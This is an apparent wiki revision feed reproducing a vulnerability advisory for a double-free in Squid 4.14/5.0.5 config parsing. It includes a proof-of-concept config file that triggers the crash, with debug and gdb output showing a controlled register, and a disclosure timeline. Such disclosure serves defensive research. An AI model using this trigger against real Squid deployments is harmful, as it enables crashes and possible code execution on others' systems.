<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Squid_4.14%2F5.0.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Squid 4.14/5.0.5 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Squid_4.14%2F5.0.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Squid_4.14/5.0.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T02:19:53Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Squid_4.14/5.0.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1714&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; A Double-Free bug was found in Squid versions 4.14 and 5.0.5 when processing the &quot;acl&quot; directive on configuration files, more specifically the first and second a...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Squid_4.14/5.0.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1714&amp;oldid=prev"/>
		<updated>2021-04-16T09:13:39Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; A Double-Free bug was found in Squid versions 4.14 and 5.0.5 when processing the &amp;quot;acl&amp;quot; directive on configuration files, more specifically the first and second a...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
A Double-Free bug was found in Squid versions 4.14 and 5.0.5 when&lt;br /&gt;
processing the &amp;quot;acl&amp;quot; directive on configuration files, more&lt;br /&gt;
specifically the first and second addresses.&lt;br /&gt;
 &lt;br /&gt;
This may allow arbitrary code execution on a Squid deployment on where the&lt;br /&gt;
configuration files may be processed from untrusted sources.&lt;br /&gt;
 &lt;br /&gt;
The following sample configuration file causes the overflow:&lt;br /&gt;
 &lt;br /&gt;
# cat heap.conf&lt;br /&gt;
acl localnet src&lt;br /&gt;
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16&lt;br /&gt;
 &lt;br /&gt;
This is the relevant debug output using &amp;quot;/usr/local/sbin/squid -f heap.conf&lt;br /&gt;
-N -X&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
2021/02/09 11:25:10.856| 24,7| MemBlob.cc(130) syncSize: 5 was: 6&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(898) cow: SBuf113 no cow needed;&lt;br /&gt;
have 35&lt;br /&gt;
2021/02/09 11:25:10.856| 3,5| cache_cf.cc(533) parseOneConfigFile:&lt;br /&gt;
Processing: acl localnet src&lt;br /&gt;
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16&lt;br /&gt;
2021/02/09 11:25:10.856| 28,9| Acl.cc(96) FindByName: ACL::FindByName&lt;br /&gt;
'localnet'&lt;br /&gt;
2021/02/09 11:25:10.856| 28,9| Acl.cc(102) FindByName: ACL::FindByName&lt;br /&gt;
found no match&lt;br /&gt;
2021/02/09 11:25:10.856| 28,3| Acl.cc(233) ParseAclLine: aclParseAclLine:&lt;br /&gt;
Creating ACL 'localnet'&lt;br /&gt;
2021/02/09 11:25:10.856| 28,4| Acl.cc(64) Make: src=0x555555e165d0&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf253 created&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf254 created&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf255 created&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf255 destructed&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf254 destructed&lt;br /&gt;
2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf253 destructed&lt;br /&gt;
2021/02/09 11:25:10.856| 28,5| Ip.cc(222) FactoryParse: aclIpParseIpData:&lt;br /&gt;
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16&lt;br /&gt;
2021/02/09 11:25:10.856| 28,9| Ip.cc(358) FactoryParse: aclIpParseIpData:&lt;br /&gt;
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16'&lt;br /&gt;
matched: non-IP pattern: %[^/]/%s&lt;br /&gt;
2021/02/09 11:25:10.856| 14,3| Address.cc(389) lookupHostIP: Given Non-IP&lt;br /&gt;
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0':&lt;br /&gt;
Name or service not known&lt;br /&gt;
2021/02/09 11:25:10.856| aclIpParseIpData: unknown first address in&lt;br /&gt;
'1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16'&lt;br /&gt;
 &lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x0000555555af55e0 in Mem::AllocatorProxy::freeOne (this=&amp;lt;optimized out&amp;gt;,&lt;br /&gt;
address=0x555555e15e80) at AllocatorProxy.cc:22&lt;br /&gt;
22    getAllocator()-&amp;gt;freeOne(address);&lt;br /&gt;
/home/aroldan/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape&lt;br /&gt;
sequence '\é'&lt;br /&gt;
  res = gdb.Value(address).cast(char_ptr).string(encoding=encoding,&lt;br /&gt;
length=length).strip()&lt;br /&gt;
 &lt;br /&gt;
[ Legend: Modified register | Code | Heap | Stack | String ]&lt;br /&gt;
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
registers ────&lt;br /&gt;
$rax   : 0x4141414141414141 (&amp;quot;AAAAAAAA&amp;quot;?)&lt;br /&gt;
$rbx   : 0x0000555555c77f60  →  0x0000000900000009&lt;br /&gt;
$rcx   : 0x0000555555dcd010  →  0x0003000200010004&lt;br /&gt;
$rdx   : 0x39&lt;br /&gt;
$rsp   : 0x00007fffffffe3c8  →  0x00005555558c4f93  →&lt;br /&gt;
 &amp;lt;acl_ip_data::FactoryParse(char+0&amp;gt; call 0x555555709d10 &amp;lt;_Z13self_destructv&amp;gt;&lt;br /&gt;
$rbp   : 0x0000555555e18da0  →&lt;br /&gt;
 &amp;quot;1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]&amp;quot;&lt;br /&gt;
$rsi   : 0x0000555555e15e80  →  0x0000000000000000&lt;br /&gt;
$rdi   : 0x4141414141414141 (&amp;quot;AAAAAAAA&amp;quot;?)&lt;br /&gt;
$rip   : 0x0000555555af55e0  →  &amp;lt;Mem::AllocatorProxy::freeOne(void*)+16&amp;gt;&lt;br /&gt;
mov rax, QWORD PTR [rax]&lt;br /&gt;
$r8    : 0x0&lt;br /&gt;
$r9    : 0x3b4&lt;br /&gt;
$r10   : 0x0000555555e19120  →  0x0000000000000000&lt;br /&gt;
$r11   : 0x246&lt;br /&gt;
$r12   : 0x0&lt;br /&gt;
$r13   : 0x0000555555d67aa0  →&lt;br /&gt;
 &amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]&amp;quot;&lt;br /&gt;
$r14   : 0x0000555555e0a220  →  0x0000555555c49f98  →  0x00007ffff787ef20&lt;br /&gt;
 →  &amp;lt;std::__cxx11::basic_ostringstream&amp;lt;char,+0&amp;gt; mov rax, QWORD PTR&lt;br /&gt;
[rip+0x9e619]        # 0x7ffff791d540&lt;br /&gt;
$r15   : 0x00007fffffffe450  →  0x0000555555b37e3e  →  &amp;quot;FactoryParse&amp;quot;&lt;br /&gt;
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow&lt;br /&gt;
RESUME virtualx86 identification]&lt;br /&gt;
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000&lt;br /&gt;
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
stack ────&lt;br /&gt;
0x00007fffffffe3c8│+0x0000: 0x00005555558c4f93  →&lt;br /&gt;
 &amp;lt;acl_ip_data::FactoryParse(char+0&amp;gt; call 0x555555709d10&lt;br /&gt;
&amp;lt;_Z13self_destructv&amp;gt; ← $rsp&lt;br /&gt;
0x00007fffffffe3d0│+0x0008: 0x000000000000003d (&amp;quot;=&amp;quot;?)&lt;br /&gt;
0x00007fffffffe3d8│+0x0010: 0x00007fffffffe450  →  0x0000555555b37e3e  →&lt;br /&gt;
 &amp;quot;FactoryParse&amp;quot;&lt;br /&gt;
0x00007fffffffe3e0│+0x0018: 0x000000000000036e&lt;br /&gt;
0x00007fffffffe3e8│+0x0020: 0x0000555555b067d7  →  &amp;lt;xstrndup+39&amp;gt; pop rbx&lt;br /&gt;
0x00007fffffffe3f0│+0x0028: 0x00007fffffffe47c  →  0x55e17eae00000000&lt;br /&gt;
0x00007fffffffe3f8│+0x0030: 0x00007fffffffe480  →  0x0000555555e17eae  →&lt;br /&gt;
 0x0000000000000000&lt;br /&gt;
0x00007fffffffe400│+0x0038: 0x0000555555e15e80  →  0x0000000000000000&lt;br /&gt;
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
code:x86:64 ────&lt;br /&gt;
   0x555555af55d9 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+9&amp;gt; mov    rsi, rbp&lt;br /&gt;
   0x555555af55dc &amp;lt;Mem::AllocatorProxy::freeOne(void*)+12&amp;gt; pop    rbp&lt;br /&gt;
   0x555555af55dd &amp;lt;Mem::AllocatorProxy::freeOne(void*)+13&amp;gt; mov    rdi, rax&lt;br /&gt;
 → 0x555555af55e0 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+16&amp;gt; mov    rax,&lt;br /&gt;
QWORD PTR [rax]&lt;br /&gt;
   0x555555af55e3 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+19&amp;gt; mov    rax,&lt;br /&gt;
QWORD PTR [rax+0x28]&lt;br /&gt;
   0x555555af55e7 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+23&amp;gt; jmp    rax&lt;br /&gt;
   0x555555af55e9                  nop&lt;br /&gt;
   0x555555af55ea                  nop    WORD PTR [rax+rax*1+0x0]&lt;br /&gt;
   0x555555af55f0 &amp;lt;Mem::AllocatorProxy::inUseCount()+0&amp;gt; mov    rdi, QWORD&lt;br /&gt;
PTR [rdi+0x10]&lt;br /&gt;
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
source:AllocatorProxy.cc+22 ────&lt;br /&gt;
     17 }&lt;br /&gt;
     18&lt;br /&gt;
     19 void&lt;br /&gt;
     20 Mem::AllocatorProxy::freeOne(void *address)&lt;br /&gt;
     21 {&lt;br /&gt;
 →   22     getAllocator()-&amp;gt;freeOne(address);&lt;br /&gt;
     23     /* TODO: check for empty, and if so, if the default type has&lt;br /&gt;
altered,&lt;br /&gt;
     24      * switch&lt;br /&gt;
     25      */&lt;br /&gt;
     26 }&lt;br /&gt;
     27&lt;br /&gt;
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
threads ────&lt;br /&gt;
[#0] Id 1, Name: &amp;quot;squid&amp;quot;, stopped 0x555555af55e0 in&lt;br /&gt;
Mem::AllocatorProxy::freeOne (), reason: SIGSEGV&lt;br /&gt;
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
trace ────&lt;br /&gt;
[#0] 0x555555af55e0 → Mem::AllocatorProxy::freeOne(this=&amp;lt;optimized out&amp;gt;,&lt;br /&gt;
address=0x555555e15e80)&lt;br /&gt;
[#1] 0x5555558c4f93 → acl_ip_data::operator delete(address=&amp;lt;optimized out&amp;gt;)&lt;br /&gt;
[#2] 0x5555558c4f93 → acl_ip_data::operator delete(address=&amp;lt;optimized out&amp;gt;)&lt;br /&gt;
[#3] 0x5555558c4f93 → acl_ip_data::FactoryParse(t=&amp;lt;optimized out&amp;gt;)&lt;br /&gt;
[#4] 0x5555558c68de → ACLIP::parse(this=0x555555e165d0)&lt;br /&gt;
[#5] 0x5555559052ff → ACL::ParseAclLine(parser=&amp;lt;optimized out&amp;gt;,&lt;br /&gt;
head=0x555555db9228 &amp;lt;Config+1320&amp;gt;)&lt;br /&gt;
[#6] 0x55555571b712 → parse_acl(ae=&amp;lt;optimized out&amp;gt;)&lt;br /&gt;
[#7] 0x55555571b712 → parse_line(buff=&amp;lt;optimized out&amp;gt;)&lt;br /&gt;
[#8] 0x55555572055f → parseOneConfigFile(file_name=0x555555ddf520&lt;br /&gt;
&amp;quot;heap.conf&amp;quot;, depth=0x0)&lt;br /&gt;
[#9] 0x55555572127d → parseConfigFileOrThrow(file_name=0x555555ddf520&lt;br /&gt;
&amp;quot;heap.conf&amp;quot;)&lt;br /&gt;
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&lt;br /&gt;
 &lt;br /&gt;
It can be easily exploitable too, because I control the value on RAX and&lt;br /&gt;
the execution stopped at&lt;br /&gt;
 → 0x555555af55e0 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+16&amp;gt; mov    rax,&lt;br /&gt;
QWORD PTR [rax]&lt;br /&gt;
   0x555555af55e3 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+19&amp;gt; mov    rax,&lt;br /&gt;
QWORD PTR [rax+0x28]&lt;br /&gt;
   0x555555af55e7 &amp;lt;Mem::AllocatorProxy::freeOne(void*)+23&amp;gt; jmp    rax&lt;br /&gt;
 &lt;br /&gt;
Environment information:&lt;br /&gt;
 &lt;br /&gt;
   - Squid release version: Tested on 4.14 and 5.0.5&lt;br /&gt;
   - Operating System type and version:&lt;br /&gt;
   - Debian GNU/Linux bullseye/sid&lt;br /&gt;
      - Compiled with gcc (Debian 10.2.1-6) 10.2.1 20210110&lt;br /&gt;
 &lt;br /&gt;
Timeline:&lt;br /&gt;
 &lt;br /&gt;
   - 2021-02-08: Vulnerability discovered.&lt;br /&gt;
   - 2021-02-09: Vendor contacted.&lt;br /&gt;
   - 2021-02-10: Vendor replied asking to test for the vulnerability once&lt;br /&gt;
   the patch is available.&lt;br /&gt;
   - 2021-02-22: Vendor contacted again to check for updates.&lt;br /&gt;
   - 2021-02-22: Vendor replied that, although this bug is not worth hiding&lt;br /&gt;
   because of the nature of the exploitation environment.&lt;br /&gt;
   - 2021-02-24: Public disclosure&lt;br /&gt;
 &lt;br /&gt;
References:&lt;br /&gt;
 &lt;br /&gt;
   - https://fluidattacks.com/advisories/morrison/&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
--&lt;br /&gt;
Andrés Roldán, +57-313-646-36-78&lt;br /&gt;
 *___*&lt;br /&gt;
 &lt;br /&gt;
*| &amp;gt;&amp;gt;|&amp;gt; fluid|___|  attacks, we hack your software*&lt;br /&gt;
 &lt;br /&gt;
-- &lt;br /&gt;
Legal Notice &amp;lt;https://fluidattacks.com/web/terms-use/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>